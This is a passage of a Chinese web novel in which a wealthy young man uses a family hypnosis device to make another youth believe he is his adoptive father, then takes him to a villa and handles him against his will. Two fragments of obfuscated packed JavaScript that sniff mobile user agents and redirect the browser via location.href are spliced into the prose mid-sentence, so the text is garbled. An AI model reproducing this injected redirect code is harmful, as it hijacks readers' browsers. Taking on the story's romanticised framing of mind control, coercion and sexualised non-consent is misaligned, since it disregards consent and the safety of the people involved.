终于,在他咬住第三块馒头时,他看见有人给他发来了转账消息。 悯希连忙拿起来看,上面的转账备注是跟班费,整整五千,原主没备注名字,但估计就是专门管账的狗腿。 他点了收款,直接转身走了。 大概七点左右,悯希到了仁和市中心医院。 晚上的住院部人生百态,走进去连空气都是缭绕的消毒水气味,不少打着吊瓶的人躺在病床上,歪着脑袋发出哀鸣。 陪同家属把饭盒放在桌边,一口一口喂床上的人,精神也一样颓靡,这样的情景三步一处。 悯希前世经常缴费,所以很熟练。 他找到缴费口,付了透析费用,然后深吸一口气,捏着单子上了二楼,朝悯婉的病房走去。 每走一步,悯希的心口就颤一下,害怕床上的人真是他认识的悯婉,但害怕也没用,迟早要进去的。 悯婉住的病房是三人间,床和床之间有可以随意拉开关上的帘子。 悯希很快走进了病房,往最后一张床走去,待走到床边,他捏了捏手指,抬起来将帘子一把掀开。 “哗啦。” 没了帘子的遮挡,病床上的人立刻显露出来,闯进悯希的眼里。 那是个女孩,正睡着觉。 大概十岁那么大,很瘦,瘦骨伶仃的一点点,身躯盖在被褥下面,呼吸很轻微,让人瞧着忍不住想凑近她胸膛听听心跳还在不在,她的脸也瘦脱形了,只能依稀看出原本的五官底子是秀气的。 悯希看了一会,鼻尖迅速泛起酸意,眼眶边也红了些,他生怕悯婉醒来发现自己的失态,连忙咬住嘴唇,用痛意逼自己转过头去。 艰难忍下情绪后,悯希把果篮放在桌上,从里面拿出个苹果来,坐在床边椅子上。 他看不出悯婉是不是自己认识的那个,但光是一模一样的长相,就让他有点受不了了。 悯希轻轻抽动鼻子,拿出水果刀抵住手里的苹果削起来,想切成块,等悯婉醒来再给她吃。 借助这机械的动作,悯希的情绪稍微好转了些许,但等最后一块果皮被刀锋削掉后,悯希平复的心情又激荡起来。 悯希不太爱吃带皮的水果,几乎没自己削过,但他并不觉得削苹果是多难的事。 甚至,他认为自己已经很小心、很谨小慎微了。 为什么…… 削出来的苹果是这样的? 悯希翻了翻手里的“核桃仁”,又看了眼果篮里个个浑圆饱满的大红苹果,陷入不知所措中。 他正盯着垃圾桶里的苹果皮发呆,只见中间观察了许久的陪护家属走了过来,试探地道:“我帮你削吧。” 那是个普通的年轻男人,悯希看了眼他,抿唇:“可以吗?” 悯希皮肤很白,手上没一点茧子,看着就是从小锦衣玉食长大的,他的手合该每天被呵护起来,托在掌心里,而不是去干那些脏活累活。 没等悯希反应过来,男人已经帮他削起了水果,而他则坐在凳子上,手里拿着男人已经削好的一个。 男人手快,不多时就削出两颗白润的苹果,帮他放在盆子里,悯希对他道谢,他磕磕巴巴说了句没事,才收手回去。 悯希没吃那苹果,他没胃口,只想等悯婉起来再拿给她吃。 可惜病床上的人一直紧闭双眼,睡得很熟,悯希替她掖了掖被子,眼皮也慢慢往下垂了下。 中间病床的男人拿保温杯出去接了趟热水,再一回来,见到的就是趴睡在床边的悯希。 双手交叠起来轻轻放在床边,脑袋侧向墙壁,枕在自己胳膊的软肉上面,脸颊随着呼吸起伏,渐渐变红润。 过短的衣摆微微上扬,露出一段柔软的腰肢,泛着珍珠般的润泽。 - 住院部高级单人病房。 此时有一模样矜贵的男人从门里抬步走出,他步履从容不迫,穿一身灰色及膝大衣,抬手回眸间都浸润着一股有钱人的高傲,那副姿态本就引人瞩目,更何况他的长相还生得不错,唇边的弧度始终显着一股神秘的绅士风范。 前阵子萧老爷子不小心摔了一跤住院了,作为与萧家交好的谢家,谢长山自然要叫上谢恺封一起来医院看望。 只是从来都不失礼仪的谢恺封,今天不知道怎么回事,要在后面怼着他,他才会主动和萧老爷子搭话。 中间也不停走神,总是听不见别人叫他。 谢长山脸色铁青,找理由直接把丢人现眼的谢恺封赶了出去。 谢恺封也不挽留,径直走出了病房。 助理杜容跟在他身边,一句话不敢说,不敢触谢恺封眉头。 他知道谢恺封昨天没和谢宥谈拢,被谢长山骂了,而且从谢宥家回来后,他还让杜容去查了一个人的资料,整晚都在看,根本没有睡好。 这个时候的谢恺封虽然脸上笑容不变,可但凡哪句话说不对,他就会用软刀子一样的话拐着弯骂人。 往往比明着骂更让人难以接受。 杜容快把脑袋埋进地里,跟在谢恺封身后来到了电梯门口。 他很有眼色,见谢恺封停下松领带,连忙走上前,按下电梯按钮。 电梯上来得很快,当门打开那一刻,杜容侧过身,想等谢恺封先进去。 然而,他余光忽然注意到谢恺封松动领带的手顿住了,本来正面对着电梯门的皮靴,也微微发生偏转。 杜容感到疑惑,跟着看过去,随后一眼望见一间没关门的病房。 那只是很普通的病房,没有特别的,但看了一秒,两秒,三秒,杜容的眼睛一点点亮了起来。 他发现里面在病床边上趴着睡觉的男生,是谢恺封昨晚让他查的那一个! 从他这里看过去,只见那男生一截腰细得惹人疼惜,连睡梦中都不安稳,时不时抿紧红唇,锁紧眉头。 好似病床上躺着的人让他无比哀伤难过,连眉眼都是痛楚。 杜容没看多久,突然听见身边的呼吸声变了调子,他朝谢恺封看过去,只见谢恺封勾着唇角,身上的颓唐阴郁一扫而空,好似连大脑也染上了兴奋。 谢恺封怎么能不兴奋。 他还愁去哪里找叶悯希,现在得来全不费工夫。 谢恺封咬紧后齿,喃喃了一句:“谢宥……” 谢恺封一直很清楚,他和谢宥不是从小形影不离的亲兄弟。 他们之间没有血缘纽带关系,更不会有那些子虚乌有的一见如故,他不了解谢宥,也不知道谢宥内心的想法,他对谢宥的全部认知,只有许睿说的冷静心善四个字。 可昨晚当他在谢宥家目睹完那事全程后,他对谢宥的浅薄认知就被全部打破了。 谢宥不是善人,是寡廉鲜耻的卑鄙小人。 ……用催眠控制别人的人,能是什么好人? 谢恺封肩膀抖动,发出闷笑:“哈哈……” 杜容被他笑得一僵,勉强挤出声音问道:“谢少爷,什么事那么高兴?” 谢恺封收起笑,紧盯前方,笑意未散的声音里多出了一分阴鸷:“我高兴,我能在谢家长大。” 所以,那些寻常人无法触及的,根本无法想象的东西,他都知道,甚至,他也有。 谢恺封眼睛发红,克制着手指神经性的颤动,把手放进口袋里,轻轻摩挲了下里面的坚硬物体。 昨晚他一进屋子,看到那没散干净的紫雾就知道了,谢宥在用什么东西。 这是谢家每一个孩子都会有的玩意儿,从出生那一天就会被给予。 他来得晚,不讨谢长山喜欢,半年前才从谢长山那里见到这东西,他还没用过,没想到谢宥已经用得炉火纯青。 不过,他不得不承认,他很欣赏谢宥的做法,他从小奉承的唯一守则就是不择手段。 谢恺封笑:“杜容,如果你想要一个人,但他不是你的,你会怎么做?” 杜容小心回答:“力所能及地去追他,让他看到自己的诚心?” 听到这天真烂漫的回答,谢恺封唇边闪过一抹轻讽。 只有蠢货才会这么干,他要是想要什么,会直接去抢。 直到抢到手,狠狠攥在手里。 谢恺封这么想着,眼底出现一抹血光。 从昨晚开始,一向睡眠很好的谢恺封便不断梦到一双修长如蛇的双腿,水润,嫩滑,在他床边并住膝盖不断轻蹭,他不停想碰,又始终碰不到一点皮肤,最后才发觉那只是一场虚无缥缈的梦。 梦里有多饥渴,多无力,谢恺封醒来后就有多想得到。 谢恺封不是分不清自己欲望的蠢东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176299|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 昨晚他还不明白,可做了那样的梦,他就知道自己的躁动是为什么了。 他接受良好,还要把叶悯希抢过来。 他有谢家的股份,有用之不尽的钱,有车,有房,他可以给叶悯希最好的,最需要的,谢宥只是个穷小子,他能给叶悯希什么?空气? 他可以照顾叶悯希,包容他的一切,他对叶悯希来说才是最好的选择。 谢恺封不动声色想着,漆黑的眼抬起来,就见病房里的叶悯希被一阵响铃吵醒。 男生很慌,显然是怕妹妹被吵醒,连忙站起来捂着手机走到病房外接通。 那边的人不知是谁,叶悯希没听两句就绷着脸说:“我没去哪里,你管我干嘛啊。” 接着又慌了神,“你发什么疯,我告诉你行了吧,我来医院看望妹妹了……你不要过来,我马上就走了,我得去找一下我养父……” 谢恺封顿了下。 昨晚他看到的那对资料,的确显示叶悯希有个养父。 在工地打工,早和他们两个断绝了关系。 谢恺封手指在裤边无意识地点了点,两三秒过去,一个不堪入目的想法在他脑中突然成形。 …… “叶诚!有人找你!” 工地很沉闷,许许多多肌肉膨胀的工人在里面搬砖、抬水泥袋,挖掘机不停地嗡嗡作响,在这单调的声响中,有个工人带着个漂亮男生走进了门里。 那男生长相惊人,用好看两字形容都极其单薄,甫一出现,这工地里旁人无法忍受的呛人味道都好似变馨香起来。 那工人将悯希带到一个干净的地方,跟他说:“我过去找他,你在这等一下。” 悯希点了点头,乖乖站在原地。 找叶诚是悯希昨晚就有的想法,他从系统那里了解到,原主不太管悯婉的吃食,光扔了两三百块给那帮护士,让他们管着点悯婉。 两三百能吃什么?别说一个月,几天就没了,而且别人都有事忙,不会真管得那么尽善尽美。 正好叶诚住的地方离医院近,悯希打算给他一笔钱,让他中午晚上拿饭过去给悯婉吃。 悯希正要从口袋里拿出刚取出来的钱,结果头顶忽然压下来半片阴影。 随后,工人带着一个魁梧的汉子走了出来。 叶诚到处张望,疑惑问道。 “不是说有人找我,人呢?” 那工人伸手指:“就在……咦?刚刚还在那的啊……” 工地用蓝色板子围起来的墙外,悯希一边推前面男人的胳膊,一边皱着眉往回抽手。 他不知道这个突然跑出来的男人是谁,莫名其妙连话都不说就把他拉走了。 他心里很慌,边推边骂:“神经病,走开!” 悯希使尽浑身力气把手抽了回来。 刚想走,结果下一刻一阵强烈的眩晕感直接冲软了他的身体,他强装着往前走了两步,到底是脚步踉跄,走不稳了。 谢恺封上前接住了他,垂下眼。 看着他眼里蒙了一层迷离雾气,像个易碎玻璃似的倒在自己怀里,滚了滚喉结,声音变得喑哑:“没关系,别怕,我会对你好的。” 半小时后。 一对养眼的组合出现在医院附近,一步步朝住院部走去,左边的步伐不紧不慢,胳膊以一种不失分寸的力度护着身边的人。 看似保护,其实是禁锢,用一种别人看不出的强势姿态将人纳在自己周围,不容离开半步。 而右边的被他箍在身侧,有些不舒服,挣扎了两下,睫羽从根部一点点变湿润,直到凝出一颗颗晶莹的泪珠,挣脱末梢掉落,“你弄疼我了。” 听到那声音,神经兴奋到几乎有些紧绷的谢恺封蓦地愣了愣,低头看向他:“那我轻点?” 悯希刚要“嗯嗯”两声,前方停在医院外的一辆车里,走下来一个黑着脸的男人。 黎星灼大步走来,甚至还没走近,已经伸出手把悯希从谢恺封身边一把拉了过来,语气不善道:“你变态?说话要这样抱着说?” 黎星灼气得脑袋发昏,但当他看过去时,他发现被骂变态的谢恺封仍是从容不迫地笑着。 他眼皮一跳。 只见余光里的悯希慌慌张张转过头,对这变态绽放出一个微笑,说:“你别介意,他是我的朋友。” 接着脸色严肃看向他:“黎星灼,你不要这样说话,很不礼貌。” 黎星灼气得想笑:“我怎么不礼貌,他是谁啊,我干嘛要对他礼貌!” “黎星灼!”悯希警告性斥了他一句。 然后又偏头捏住谢恺封的衣角,放低声音说:“他是我的养父,所以你尊重一点。” 8.催眠(8) 冷风肆虐吹过,医院门口的停车场又驶来几辆车。 无数车前灯在夜晚闪闪发亮,相比起来,黎星灼的眸光暗沉得恐怖。 他盯着悯希,沉声道:“你在逗我吗。” 养父? 是说身边这个年岁和他差不多的人?养父?别开玩笑了,一点也不好笑。 黎星灼眉眼很沉,怀疑的目光梭巡过谢恺封,又定在悯希脸上。 他试图在悯希眼中找出一点开玩笑的成分,但找到的,只有异样的认真。 几秒过去,黎星灼身上的血渐渐冷却,冰冷问道:“你被他包养了?” “啪!” 手掌在脸上扇过,留下脆响。 黎星灼刹那间偏过脸去,紧接着眼睛睁大,瞳孔剧烈收缩了两下,似乎不敢相信发生了什么。 黎星灼养尊处优一辈子,不是没有受伤过。 以前坐在别人摩托车后座,被对方一个甩尾摔地上,右手肘磕在钢管尖端,被生生扯下来一大块皮肉,用护具固定大半年,错位的骨头才恢复好、肉也才重新长全。 和那次意外相比,这巴掌简直太温和。 但心中的烦闷,却在半秒间被轻松挑起。 黎星灼脸歪在一边,用舌尖轻轻抵住半边口腔。 当脸上那只手准备收回去时,他屈指,迅速捉住了悯希的手腕。 黎星灼想,悯希真是他见过最胆大妄为的人,总是忘记自己的身份。 而且脾气大,心眼小,只喜欢听甜言蜜语,现在他只是话说得尖锐了一点,他居然就甩自己一个巴掌。 他难道说的不是实话吗? 黎星灼不认为自己哪个字说错了,他只恨没有说再直白一点:“他一个看起来和你一样大的人,怎么可能是你养父?你们都穿纸尿裤的年纪,他就开始照顾你了?我又不是傻子。” “你不要小小年纪就做金钱交易,和他玩那些脏东西。” 悯希原本紧绷着唇角和脸蛋,想让黎星灼看出自己的怒意,没成想黎星灼还愈演愈烈。 但这次他没甩巴掌,而是稍稍愣住。 看起来和你一样大的人,怎么可能是你养父? 这句话猛然扎在他脑子里,让他眼中浮出深深的疑惑,越升越浓,但就在即将胀破的时候,一种强而有力的力量将其狠狠压下。 悯希脸上的茫然转成怒火,他气冲冲看向黎星灼,正想和黎星灼争辩,身后伸来一只手,温和地对他道:“没关系,我们不和他吵了,先上车。” - 悯希坐在车上时,还很生气。 他想不到黎星灼居然会那样侮辱他,他闷闷鼓着脸蛋,狠狠戳屏幕把黎星灼的号码拖进黑名单。 泄完愤,他转头轻声叫:“父亲。” 谢恺封坐在左边车座,双腿交叠,片刻过去才反应过来悯希在叫他,他唇边笑意微凝:“……叫我名字就好。” 催眠,只能在一个人原有的记忆上换一张脸,如果那个人原本的人际关系中没有谁,是无法凭空捏造一个出来的,至少目前的谢恺封还不能做到。 否则,未婚夫、男朋友,哪个都比养父的身份好,也更方便。 悯希不明白他为什么这样要求,见车停在路边,司机下来开门,悯希愣愣抬头,看向前面衔接一大片花园的辉煌别墅:“这里是哪里?” 谢恺封面不改色道:“我们的家,你之前和我赌气,自己离家出走跑到外面租房住,现在想通回来了。” 悯希抿唇:“哦,原来是这样……” 前方有管家领路,悯希一路朝前走去,直到管家将门打开,身旁谢恺封忽然拉住他的手腕,言笑晏晏地把他抵在墙上:“让我看看你瘦了没有?” 悯希一愣,匆匆看过屋内陌生的装潢,还有一侧默默退去的管家,后背僵了僵。 黎星灼的话似乎在他心中留下了不浅的涟漪,悯希明明觉得这做法再正常不过,却没等谢恺封碰上他,便仓促扭过了头。 谢恺封的手摸上了他的脸。 两人身高相差太远,但因为离得太近,谢恺封可以看到悯希眸中目露兴奋的自己。 没看多久,谢恺封突然开口道:“你怕我。” 谢恺封语气没有转圜,而是直截了当的肯定句,“为什么要怕呢?” 他虎口托着那柔软的下巴,指腹在悯希脸上轻蹭,“迄今为止,我没有做过伤害你的事,可你却露出这种好像被我欺负得再也忍受不了的表情。” 手里的肉太软,太易碎,谢恺封不得不调整手里的力气,控制到完全不会捏碎一块豆腐的程度后,他低下头,对上悯希躲闪的眼神。 带有侵略性的目光侵入皮肉,悯希身体抖了抖,别过头去。 可这样的动作,却致使脖子更修长地暴露在谢恺封目光下。 谢恺封目光扫过那片皮肤,又看了眼几乎被自己圈在怀中的身子,突然喉结一滚,忍不住说道:“你好小一只,到底怎么长的,真的好可爱。” 他笑起来,张开双臂,格外有绅士风度地问:“我能抱抱你吗?就抱一下。” 悯希:“……?!” 听到这句话,悯希脸上首先露出的不是害怕,而是震惊。 不仅仅是因为转换太快的话题,还有谢恺封提出的古怪要求。 正常养父会夸赞孩子长得可爱,还想抱他吗? 好吧,好像是会…… 但谢恺封的夸赞不太同,悯希感觉不到任何家人之间的温馨,有的只是一股在野外和狼对上目光的脊背发凉感。 可脑中记忆又告诉他,这就是他的养父。 原主家中摆放着的四人家庭合照,站在最左边穿一身白色短袖的男人,就是长着谢恺封这样的脸。 对于前半生竭尽全力抚养自己长大的养父,这么简单的一个要求,似乎并不应该拒绝。 养他养这么大,难道还抱不得了? 可是…… 悯希说不清可是什么。 他后退半步,有些犹豫。 而就是这一瞬间的犹豫,让面前风衣齐膝、风度翩翩的男人像饿狼一般靠过来,大掌箍紧他的腰肢,慢慢收紧,再一把托举起来,抱着在空中转了一圈。 悯希当即失去重心,在那热气腾腾的双手中惊呼一声,像团触手乱飞的水母一样,炸毛地在谢恺封的旋转中惊呼:“放手,放手,我要掉下去了!” 谢恺封却好似听不到,不仅不放,反而眯起眼,发出一声舒爽的喟叹。 原来那天他在谢宥家看到悯希时,手里泛起酥痒,是因为他想亲手将这团豆腐抱起来。 “好可爱,也真的好可怜。” 谢恺封转够了,停下来,用类似撸猫的手法,单手举着悯希,另一只手则从悯希后脑一直顺到脖子,接着叹息道:“被我这种人盯上,好可怜。” 他好似由衷替悯希感到悲哀,替他数列起做错的事:“那天不该在那个时候去见谢宥,不该进谢宥的家,更不应该在谢宥家久留,否则你怎么会被我看见?” “倒霉的,软唧唧的小水母。” “啊……不要害怕,也不要抖,我会对你很好的,我以前养过一只猫,还算养得不错,改天带你去见见,放心,我养你只会养得更好,我会向你证明的,你可以试着期待一下。” 悯希听不明白他说什么,更大幅度挣扎开来。 他眼眸中倒映着的谢恺封丝毫不受影响,手心托住他的腰肉,将他抵在墙上,像狗一样匍匐在他颈边嗅闻。 悯希屏住呼吸。 这动作太过了,让悯希觉得谢恺封不是和他有过温存时光的养父,而是肆意妄为的土匪,他忍不住在谢恺封脸上胡乱拍打起来。 脚也不停乱踹,谢恺封崭新的衣服被他直接踹出了一二三四五六……八个脚印。 小小的,脏兮兮的。 拿着一袋东西刚想进门的杜容:“……” 他压住震惊的神情,连忙制止道:“叶同学,请住手!” 多亏杜容这一嗓子,悯希注意到谢恺封的力气有一秒的松懈,连忙推开他,从他禁锢中滑了下来,站稳。 谢恺封埋在黑暗里的脸滑过不悦,但仅是转瞬,又重新挂上了虚伪的笑容。 他转过脸来,瞥了眼门口的杜容,在杜容打了个冷颤之前,目光移到悯希身上。 悯希正在整理乱掉的衣领,肩膀一动一动的,头顶蓬起来的毛也在晃动,谢恺封抬起胳膊,按在他脑袋上帮他压下那根毛。 男人勾着嘴角,因为长有一张风流的脸,这动作做起来有几分促狭的意味。 悯希马上停下来,警惕地看向他,而心里,也迅速升起了排斥。 只是这股排斥,在下一秒就被强大的力量扭转成了被关怀、呵护后的不好意思。 悯希垂下脑袋,咬字很重地低声道:“下次不要这样了,我会害怕。” 谢恺封知道自己在他眼中的身份,颔首:“只是表达一下对你的喜爱,你要是不喜欢,我可以收敛。” 悯希皱眉,不出声,谢恺封笑着又轻飘飘看了眼欲言又止的杜容,出声道:“我叫佣人收拾出了你的房间,你去看看有什么缺的、不喜欢的,直接叫佣人换掉。” 悯希闻言眼睛立刻绽放出光芒。 能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206517|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够在豪华别墅里拥有一处属于自己的房间,还能随自己心意随便换装置,不要太幸福。 这让悯希对谢恺封露出的笑,多了几分真情实感:“除了房间,家里的所有东西我都可以使用吗?” 谢恺封微笑道:“当然,当然是全部,包括我。” 悯希:“……” 他用复杂的目光望了眼谢恺封,最终没有多说,异常乖顺地走出去,转向谢恺封叫人给他收拾出来的新房间。 悯希一走,门口快要遁地隐形的杜容才抬起头,走到谢恺封身边。 谢恺封望过去,见他提起手里一个袋子:“少爷,这是谢总送你的成人礼。” 袋子很大,随着杜容的抬起,口子敞得更开,能够看见几个奢侈品牌的包装,其中一个盒子散开,露出一条散发着璀璨流光的手表。 谢恺封望着,目光微妙地恍惚。 随后才想起来,今天是他的十八岁生日。 谢长山向来不会给私生子大操大办什么宴会,生日宴这种出风头的场合,是绝不会给他办的,十年如一日都是如此,久而久之,谢恺封早已忘记自己生日的日子。 要不是杜容把东西送进来,他都不记得自己成年了。 谢恺封想起今天谢长山才在医院斥责他滚出去,哼笑一声,抬抬下巴问:“你右手拿着什么,也是成人礼?” 杜容呃一声,挠挠鼻尖,瓮声瓮气地摇头道:“这是谢宥上次落在这的一部分行李,我准备叫他过来拿回去。” 之前谢宥一下飞机,许睿就把他的行李送到了谢家,谁知道都没有机会打开,就全被丢了回去。 听到谢宥的名字,谢恺封脸上神色淡下去,兴致缺缺。 杜容见状,识趣地把袋子藏起来一点,后退几步准备离开,然而刚走几步,身后谢恺封突然叫住他:“等等。” 杜容回头,只见站在原地的谢恺封冲他露出顽劣的笑意,勾起食指,把他招过来。 “把手机给我,我来叫。” …… 住在破旧小区的人统共就那么几个人,他们都没和谢宥搭过话,却都认识谢宥,背地里不知嚼过多少舌根。 当晚上谢宥顶着一身淤青伤痕回到门口时,两个站在电线杆下抽烟的男人对视一眼,讽刺地用眼神交流道——昨晚不知道又去干什么勾当了。 谢宥连表情都没变,垂下眼帘,和煎饼摊的老板说了句:“要一份。” 老板拿出一张饼撒在摊上,又拿出一颗鸡蛋敲碎,用工具在饼上切开一条缝,将鸡蛋浇灌进去,再翻面。 在那娴熟的动作中,一张鸡蛋灌饼逐渐有了雏形,炊烟袅袅。 谢宥拿出手机准备付款,视频邀请就在这时弹了出来。 望着杜容的备注,谢宥目光停顿。 微凉修长的手指微动。 视频接通,通话界面在手机屏幕上铺平,露出来的却不是杜容的脸,而是谢恺封。 谢宥冷峻俊秀的脸上没露出任何惊讶,见状,那边的谢恺封颇感无趣。 谢恺封故意晾了他半分钟,才说:“你还有行李在谢家,抽空来拿一下,不然保姆可能会当成垃圾扔掉,那样可就不好了。” 谢宥平静道:“好。” 说罢,他没有挂断,似乎清楚谢恺封的来意不仅如此,于是默默等待。 果不其然,下一刻,谢恺封懒洋洋道。 “哦,对了,今天是我的生日,你想不想知道我的成人礼是什么?” 能是什么。 无非是珠宝、手表、袖扣、汽车。 谢恺封好像也不是真的要听谢宥回答,他抛出问题,就笑着站起来,往房间外走去。 傍晚,谢宥站的地方路灯昏暗,隔三秒电流滋拉一下,而谢恺封那边富丽堂皇,每一处都有吊灯,他沿着走廊往前走。 煎饼烤好了,老板装进袋子里,递给谢宥。 谢宥接过来拎在手里,想退出通话付款,目光却忽然瞥见半张一闪而过的脸。 谢宥顿了顿,原本想挂断的手指,在听到一声熟悉的软乎声音后,突兀停下。 “啊!” “你干嘛不敲门就进来?” 镜头晃动。 那边的谢恺封诚恳地道了句歉,接着坐在床边,一把捞住了正在铺床单的人的腰肢。 那人猝不及防,栽倒在他腿上,被他长手长脚搂在怀里。 男人的腿硬邦邦,他的却极软,大片软肉从腿边溢出去,满眼白腻。 谢恺封声音有些哑了,低低地开口:“谢宥。” “你要不要……和我的成人礼打个招呼?” 9.催眠(9) “叮。”谢宥来不及回应,红色的挂断键就被一根葱白的指尖狠狠摁下。 悯希扭过头看向谢恺封,白里透粉的脸上眼瞳圆睁,眉头微皱,好似受到了莫大的惊吓。 他有些生气,气谢恺封把他称作物件,可又有点害怕,怕谢恺封像之前那样将他托起来转圈。 所以他的脚干脆踩在了男人的皮靴上,但凡谢恺封有一点想要动的迹象,他的脚就会立刻无情碾过。 除去生气和害怕,悯希还很不适。 怎么说谢恺封也是他名义上的长辈,而他也早已经长大了,成熟了,这么温情蜜意的拥抱姿势,让悯希感到特别尴尬,全身鸡皮疙瘩都要起来了。 可他偏偏不太敢开口让谢恺封走开。 谢恺封被他踩着,没多大痛楚,只轻轻笑了一声。 只是小打小闹一样的攻击而已,谢恺封只觉得新奇好玩,随便他踩,但这姿势到底不太方便说话。 于是男人垂眸看向自己被踩着不能动的鞋尖,无可奈何地握住悯希的腰,将人往上颠了颠,惹得悯希轻呼一声。 谢恺封目光往下移,看向悯希不受控翘起的双脚。 悯希的腿很细,但是瘦而不柴,并且最顶端圆润至极,丰腴的肉把裤脚撑得满满当当,看起来快要胀破了。 他穿的是一条丝绸睡衣短裤,两条从裤脚穿出来的长腿修长白皙,没有一点赘肉。 可以想象这双腿要是攀在肩头被粗暴爆浆时,会将人送到如何无与伦比的境地。 悯希被这么一颠,是真的有些恼火了。 前脚被当作礼物,后脚又被这么戏耍,他紧绷起唇角,想发火。 灯光渲染在他的侧脸上,映出一副冷冰冰的眉眼。 但当悯希正要发作时,谢恺封不知抽什么疯,忽然就着这个姿势,抱住他翻了个面,让他面向宽大的落地窗。 他想骂人的话,也被后面喷洒过来的热气堵了回去,谢恺封和他说:“我和学校那边交代过了,以后放学你可以直接回家。” 悯希无所谓晚上住在哪,可他不喜欢谢恺封自顾自的安排,冷着脸和他唱反调:“可我想住校。” 谢恺封后知后觉抱着的人在生气,他挑起眉,半晌才带着湿热气息开口:“别生气,我不是在把你当物件,我那句话的意思是,你是我今天收获最好的礼物。” 谢恺封十八年的人生中,对人低头和讲软话的经历屈指可数,甚至可以说,从来没有过。 所以这短短一句话显得生疏又怪异至极,而他也马上意识到了自己并不适合搞这套,笑着转移话题:“这间别墅有一个传闻,想知道吗?” 悯希被哄得表情好了点:“什么传闻?” 谢恺封笑意愈来愈深:“算了,没什么好说的,明天下课,你想自己回来,还是想让我去接你?” 怎么又不说了? 悯希看向谢恺封,谢恺封鼻梁锋挺,屋内的灯光很亮,可他的五官没被暖光软化半分,反而被照出几分丝丝缕缕的鬼魅。 心头忽的一跳,悯希不由得猜测……刚刚谢恺封是想说,这边闹鬼吗? 这别墅是谢恺封的私人房产,不在市中心,位置较为偏远,刚才来的路上,每一条路都显得无比僻静幽深。 悯希没法不往这方面想。 话题就这么被转移了过去。 而傻乎乎的男生还真被骗得忘记了生气,舔了下唇,将唇舔得覆上一层盈润的水光,又怔怔蜷了蜷指尖。 他单方面和谢恺封破冰,揪住谢恺封的衣服,用脸颊轻轻蹭过身后人的肩膀上,含糊地说:“想让你接我。” 谢恺封笑道:“好,等下把你的课表发给我。” 悯希点点头,从他身上站起来。 自小悯希就特别怕听到鬼故事,虽然谢恺封没有说,但他自己脑补得起劲,汗都有点被吓出来,他皱眉道:“我去接杯水,我有点渴了。” 谢恺封嗯了一声。 目送悯希从卧室里走出去,谢恺封拿起口袋里震颤的手机接通。 市场上最新款的手机隐私性做得极好,凑近了,才听到“盘山公路”、“谢宥”几个字。 谢恺封没说话,平静听着那边人调查到的事,一边拉开脚下行李的拉链,从里面拿出一副相框,没等细看,忽的听见一声:“啊!” 他皱眉,把相框放在床边,直起身走出去。 悯希的卧室在二楼,谢家财大气粗,自然不在意会不会浪费电,每一层楼的灯都是打开着的,但唯独拐角处没有亮光,很昏暗。 悯希走出去,没看清路,一头撞上迎面走来的宽阔胸膛。 对方热气腾腾又年轻气盛的胸膛极有韧性,糊他一脸热气,又将他顶得后退了两步。 悯希捂着额头抬起眼,没想到来人太高大,他只能看见对方凸起的喉结。 再抬高一点,才看见一张温和的脸,男人低头看向悯希,视线在那玫红色的额头停顿片刻,歉意道:“抱歉,我不是有意的。” 悯希摇了摇头,刚才是他没看路,和别人没关系。 别墅里来来往往的佣人太多,悯希不确定他是不是,正想说句对不起就溜,忽然感觉有一根柔软且带着毛发的“绳子”勾了一下他的脚踝,蹭了两下,又一把圈住。 悯希穿的短裤,没有东西遮挡,那灵活的绳子急切绕过他的小腿,诡异的触感直接让他闷闷叫出声。 悯希吓坏了,死死捂住嘴巴,全身都绷直了,差点意识断片。 “德撒。”前方响起警告性的低沉嗓音。 话音刚落,圈紧的绳子猛然退去,耳边不分明的哈气声也停止。 男人的声音随后响起:“真的很抱歉,这是我养的狗,他以前都不会亲近人,可能是太喜欢您,才……” 狗? 悯希泪眼朦胧,眨了眨眼睛,抬头看过去。 只见男人手中果然拎着一只黑犬的后颈,毛发柔滑发亮,蔫巴巴耷拉着四肢,唯有眼睛亮闪闪地望着悯希。 “是杜宾。” 悯希天生对小动物有好感,见那双眼戚戚看着自己,忍不住道:“我可以摸摸它吗?” 男人眼眸弯起:“如果您不嫌弃的话,我想它很愿意。” 他俯身,松开手里的杜宾,悯希刚一蹲下,黑乎乎的大狗立刻跑上前贴住悯希的小腿。 男人偏过脸,藏住腼腆发红的耳朵。 杜宾才被主人斥责过,此时靠着悯希也不敢太放肆,只敢用脑袋轻轻蹭了蹭悯希的手背。 悯希心软软的,伸出手在它耳朵旁边的软毛上揉了揉,又扫过下巴,最后在它覆着皮毛的后颈上来回抚摸。 如果从专业人士的角度来看,这撸法不算多好,但地上的大狗却被摸得伸出舌头,躺在地上打滚,还露出肚皮给悯希摸。 悯希当然没放过那软乎乎的地方,摊开手掌,在杜宾胸口和肚子上摸了好几下。 等撸够了,已经是半分钟后,悯希抬起头,想夸一夸这狗好亲人,却冷不丁看见男人深沉的目光,气息是不正常的急促。 悯希以为他哪里不舒服,正要问,走廊后边传来皮靴踏地的声音。 谢恺封神情漠然,看了一眼男人,又看了一眼那杜宾,对悯希道:“时间不早了,喝了水就去洗澡吧。” “哦。” 悯希见男人见了谢恺封也不打招呼,猜测两人应该认识,免得打扰他们谈话,急匆匆去客厅接了水,又踏踏跑回卧室。 晚上狂风过境,大片树丛被压弯了腰。 悯希一进卧室就看见床上的相框,蹙眉拿起来放在桌上,又从衣柜里拿出换洗的贴身衣裤,转身走进浴室。 